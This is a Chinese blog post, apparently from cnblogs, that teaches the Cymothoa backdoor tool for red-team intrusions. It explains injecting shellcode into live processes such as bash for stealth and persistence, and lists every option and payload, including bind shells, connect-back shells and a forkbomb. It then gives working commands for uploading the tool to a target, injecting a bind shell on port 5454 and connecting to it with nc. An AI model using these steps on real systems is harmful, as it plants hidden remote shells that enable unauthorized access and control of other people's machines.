首页 > 其他分享 >【后门】cymothoa后门的利用

【后门】cymothoa后门的利用

时间:2025-01-17 23:56:10浏览次数:1  
标签:后门 利用 Cymothoa 端口 进程 cymothoa shellcode

# 后门工具 # 红队

cymothoa简介:

Cymothoa是一款隐秘的后门工具,通过向目标主机上活跃的进程注入恶意代码来执行后门工作,这也反向说明了,实际上Cymothoa后门会拥有和原进程相同的权限,且Cymothoa是通过向系统进程注入shellcode去执行后门,所以不会像以前写过的许多后门一样创建自己的进程,这使得它的隐蔽性提高了很多。

Cymothoa还提供了多种的攻击载荷,使得它存在很多类型的后门功能,Cymothoa后门对进程的包容性十分的广泛,基本能在常用的大部分进程中都能取得不错的效果,且还能与自启动或是其它开机自启的进程结合,从而实现持久化攻击的目的。

cymothoa的使用解析:

Cymothoa是基于ptrace库构建的,所以我多数是在Unix系统的渗透中会用到,当然在Windows上的效果实际也是不错的,只是因人而异。

Kali中有自带Cymothoa工具,也可前往以下地址下载:

https://sourceforge.net/projects/cymothoa/

输入cymothoa(注意区分大小写)即可打开,如果Kali中不带Cymothoa可输入指令下载:

apt update          # 更新软件包列表  
apt install cymothoa  # 安装cymothoa

下载完毕后再次输入cymothoa即可启动/查看工具参数:

参数大致分为三类:

Main options | Injection options | Payload arguments

分别是:主要选项 | 注入选项 | Payload参数

各大类所对应的具体参数为:

主要选项(Main options):

-p: 指定目标进程的PID(进程标识符)
-s: 指定要注入的shellcode的编号
-l: 指定用于shellcode注入的内存区域名称(默认为/lib/ld)
-m: 指定用于持久性内存的内存区域名称(默认为/lib/ld)
-h: 打印帮助屏幕
-S: 列出可用的shellcodes

注入选项(Injection options):

-f: 在注入后fork父进程
-F: 在注入后不fork父进程
-b: 创建一个payload线程
-B: 不创建payload线程
-w: 传递持久性内存地址给payload
-W: 不传递持久性内存地址给payload
-a: 使用alarm调度器
-A: 不使用alarm调度器
-t: 使用setitimer调度器
-T: 不使用setitimer调度器

Payload参数(Payload arguments):

-j: 设置定时器(秒)
-k: 设置定时器(微秒)
-x: 设置IP地址
-y: 设置端口号
-r: 设置第二个端口号
-z: 设置用户名(4字节)
-o: 设置密码(8字节)
-c: 设置脚本代码

在参数解释中也给了三个分类的具体作用供我们参考,或是直接看这三类的名字我们也能大致知道一二:

注入选项(Injection options): 允许攻击者能更细致地控制注入过程。

Payload参数(Payload arguments):这些选项允许用户设置payload的具体行为。

我们使用-S参数还能看到关于shellcode的分类:

具体作用为:

bind /bin/sh to the provided port
将/bin/sh绑定到指定的端口上。需要-y参数来指定端口号。
bind /bin/sh + fork() to the provided port
与上一个类似,但在接受连接后会fork一个新的进程。同样需要-y参数。
bind /bin/sh to tcp port with password authentication
将/bin/sh绑定到TCP端口,并需要密码认证才能连接。需要-y指定端口和-o指定密码。
/bin/sh connect back
使/bin/sh连接回指定的IP和端口。需要-x指定IP和-y指定端口。
tcp socket proxy
创建一个TCP套接字代理。需要-x, -y, 和-r参数。
script execution
执行提供的脚本代码。这可能会创建一个临时文件,需要在使用后手动删除。
forks an HTTP Server
在TCP端口8800上fork一个HTTP服务器。
serial port busybox binding
绑定到串行端口的busybox实例。这通常用于硬件攻击或特定场景的渗透测试。
forkbomb
一个简单的forkbomb,用于快速消耗系统资源。这主要用于演示或测试目的。
open cd-rom loop
无限循环地尝试打开CD-ROM驱动器。这主要用于恶作剧或测试系统的响应。
audio (knock knock knock) via /dev/dsp
通过/dev/dsp设备播放音频。这主要用于演示或引起注意。
POC alarm() scheduled shellcode
一个概念验证(Proof of Concept),使用alarm()函数调度的shellcode。
POC setitimer() scheduled shellcode
另一个概念验证,使用setitimer()函数调度的shellcode。
alarm() backdoor
使用alarm()函数创建的后门,绑定到指定端口并在接受连接时fork新进程。需要-j和-y参数。
setitimer() tail follow
使用setitimer()函数的tail跟随payload,通过UDP发送数据。需要-k, -x, 和-y参数。

cymothoa的使用过程:

在实战渗透的过程中,我们需要将此上传至目标机器中,Windows系统中需要将此工具编译成exe文件上传配合渗透。

在Kali中的位置:/usr/share/cymothoa/

可在此地址中打开终端打包文件:

也可在以下链接中下载:

https://sourceforge.net/projects/cymothoa/files/latest/download

我这边开个Ubuntu作为目标系统:

将工具上传并解压后输入ps查看进程:

选择bash进程作为目标,在实战中通常也是如此的:

./cymothoa -s 0 -p 2326 -y 5454

这条命令的作用是选择第0个Shellcode注入到进程2326中,5454为服务端口,一般于连接后门:

用nc工具直接连接即可,在Windows和Linux中都可以:

Nc -nvv xxx.xx.攻击机ip 5454

标签:后门,利用,Cymothoa,端口,进程,cymothoa,shellcode
From: https://www.cnblogs.com/o-O-oO/p/18677825

相关文章

  • 【内网攻防】WMI的利用
    #红队#红蓝对抗#内网攻防WMI简介WMI,全称WindowsManagementInstrumentation,是微软开发的一种用于管理Windows系统的工具。你可以把它想象成一个数据库工具,它存储了关于你的电脑的各种信息,比如系统、应用程序、网络和设备等。WMI使用了一种特殊的方式来表示这些信息,叫做通......
  • Agent系列(一)——利用OpenAI快速搭建简易Agent
    目录1、Agent 简介1.1Agents的核心组件1.1.1模型(Model):1.1.2工具(Tools):1.1.3编排层(OrchestrationLayer):1.2Agents的运作机制:从输入到输出 2、搭建简易的Agent 2.1模型准备2.1.1获取 api_key2.1.2获取base_url和chat_model2.2搭建Agent2.2.......
  • NTP北斗校时 是指利用中国的北斗卫星导航系统(BeiDou Navigation Satellite System,简称
    NTP北斗校时是指利用中国的北斗卫星导航系统(BeiDouNavigationSatelliteSystem,简称BDS)提供的时间信息来进行网络时间同步(NTP)。与传统的基于GPS的时间同步不同,北斗卫星系统作为一个独立的全球卫星导航系统,也能够为设备提供精确的时间源,进而支持通过NTP协议进行时间同步。1. 北......
  • 如何利用Youtube引流打造高转化率的独立站?
    在跨境独立站的运营过程中,流量获取无疑是成败的关键因素。YouTube,作为海外视频领域的领军平台,其价值远不止于视频娱乐。它更是一个极具潜力的引流利器,能够为独立站带来持续稳定的自然流量,并精准定位目标受众。借助YouTube,商家可以将产品信息以生动直观的视频形式呈现给潜在客户......
  • 利用AI大模型实现个性化视频配音
    打造个性化AI视频配音​​最近,我萌生了拍摄短视频的念头,希望通过这个平台与大家分享一些AI技术的实际应用。然而,在准备过程中,我遇到了一个难题——配音。家里的环境嘈杂,收音设备也不够专业,这让在录制配音时感到非常难受。一开始,我考虑使用机器配音来解决这个......
  • 计算机毕业设计Springboot运动健康APP 基于Spring Boot框架的健身与健康管理移动应用
    计算机毕业设计Springboot运动健康APPu8mr9vrk(配套有源码程序mysql数据库论文)本套源码可以先看具体功能演示视频领取,文末有联xi可分享随着科技的飞速发展和人们对健康生活方式的追求,运动健康APP应运而生,成为现代生活中不可或缺的健康管理工具。这类APP不仅能够帮助用户记......
  • 计算机毕业设计Springboot基于VUE的非物质文化遗产分享管理系统 基于Springboot与VUE
    计算机毕业设计Springboot基于VUE的非物质文化遗产分享管理系统w5i528n6(配套有源码程序mysql数据库论文)本套源码可以先看具体功能演示视频领取,文末有联xi可分享随着数字化时代的到来,非物质文化遗产的保护与传承面临着新的机遇与挑战。传统的保护方式已难以满足现代社会的......
  • 谷歌地图 | 利用 Google 地图平台重新定义叫车体验
    【Google地图平台使Alto能够为乘客提供安全、一致、高质量的乘车体验,同时为驾驶员提供准确、直观的应用内导航功能。】GoogleMaps谷歌地图|亚太地区谷歌地图代理商-CloudAce​cloud-ace.cn/services/google-maps-platform/GoogleCloud结果将司机引导至准确的上车......
  • 如何利用工时管理工具实现精准排班与流程优化
    一、传统工时管理的痛点传统工时管理工具虽然提供了基本的工时记录和排班功能,但在应对复杂环境时往往力不从心:手动操作复杂:管理员需要花费大量时间处理排班、调整班次和管理员工工时。无法快速响应变化:员工请假、突发任务等情况常导致排班混乱,增加人力成本。缺乏数据驱动决策:......
  • 利用Python按关键字搜索阿里巴巴商品:代码示例与实践指南
    在电商领域,能够快速获取商品信息对于市场分析、选品上架、库存管理和价格策略制定等至关重要。阿里巴巴作为全球最大的电商平台之一,提供了丰富的商品数据。虽然阿里巴巴开放平台提供了官方API来获取商品信息,但有时使用爬虫技术来抓取数据也是一种有效的手段。本文将介绍如何利......